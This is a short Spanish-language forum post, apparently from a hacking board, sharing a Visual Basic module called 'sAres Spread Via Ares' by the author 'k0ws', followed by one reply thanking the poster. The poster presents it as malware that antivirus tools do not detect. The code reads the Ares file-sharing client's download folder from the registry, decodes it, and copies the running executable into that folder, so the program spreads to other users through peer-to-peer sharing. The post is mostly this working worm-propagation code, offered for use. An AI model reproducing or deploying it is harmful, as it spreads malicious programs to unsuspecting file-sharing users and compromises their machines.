Bueno,aqui os dejo este modulo que programe hace un tiempo.
Al dia de hoy sigue FUD.
'sAres Spread Via Ares.
'Autor:k0ws
'Respeta el autor.
Public Function sAres()
Dim Lector, Ruta As String, RutaCom As String
Set Lector = CreateObject("wscript.shell")
Ruta = Lector.RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder")
RutaCom = HEX2ASCII(Ruta)
FileCopy App.Path & "\" & App.EXEName & ".exe", RutaCom & "\" & App.EXEName & ".exe"
End Function
Public Function HEX2ASCII(ByVal hextext As String) As String
For y = 1 To Len(hextext)
num = Mid(hextext, y, 2)
Value = Value & Chr(Val("&h" & num))
y = y + 1
Next y
HEX2ASCII = Value
End Function
-Saludos-
Excelete aporte man! muchisimas gracias!